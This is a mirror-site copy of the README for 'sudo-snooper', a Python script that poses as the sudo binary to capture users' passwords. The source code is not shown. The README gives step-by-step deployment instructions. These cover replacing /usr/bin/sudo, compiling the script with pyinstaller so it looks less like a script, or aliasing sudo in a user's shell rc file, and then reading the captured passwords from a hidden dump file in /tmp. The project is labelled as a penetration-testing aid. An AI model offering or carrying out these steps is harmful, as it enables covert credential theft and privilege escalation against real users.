Giter Site home page Giter Site logo

jamalmo / sudo-snooper Goto Github PK

View Code? Open in Web Editor NEW

This project forked from xorond/sudo-snooper

0.0 1.0 0.0 7 KB

Python script that acts like the original sudo binary to fool users into entering their passwords

License: MIT License

Python 100.00%

sudo-snooper's Introduction

sudo-snooper

sudo-snooper acts like the original sudo binary to fool users into entering their passwords.

It will show a fake prompt just like the original to the user to enter their sudo password.

This can be useful in penetration tests or security evaluations for testing user knowledge.

Installation steps

Option 1 - Install in place of the real sudo (harder but less obvious)

You need root access for this install option

  • move the original sudo binary to another name
# mv /usr/bin/sudo /usr/bin/somename
  • change the parameters in the file to your liking

Change these in sudo-snooper.py:

dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
  • install the python file in /usr/bin/sudo (or wherever sudo was before)
# install -dm755 sudo-snooper.py /usr/bin/sudo
  • give the necessary permissions to the python file

    You can go fancy here and make a non-readable executable file for users, but I'm not going into that. Check some of the answers here for that.

NOTE: A somewhat more convincing way to install this is to compile it using pyinstaller so that it doesn't show up as a python file when file /usr/bin/sudo is executed.

To do that under Archlinux: pyinstaller --onefile sudo-snooper.py will work. However please note that once compiled you won't be able to change the parameters in the compiled binary.

Option 2 - Alias the sudo command (easier but somewhat more noticable)

This option is easier to do and more portable, however it might be more noticable to careful users.

Edit the .rc file of the shell the user is using (can be .bashrc .zshrc and so on) and add the following:

alias sudo='python3.5 /path/to/sudo-snooper.py'

Make sure sudo-snooper.py has the correct permissions.

Usage:

Once installed, sudo-snooper can be called just like the normal sudo.

For example, running

sudo vim /etc/resolv.conf

will result in sudo-snooper being called (assuming it's properly installed).

It will ask for the user password and then execute the command by redirecting to the real sudo binary if the password is correct.

You can then retrieve the user password by reading the dump file in the settings.

TODO:

  • handle when user enters wrong password

sudo-snooper's People

Contributors

xorond avatar

Watchers

Jamalmo avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.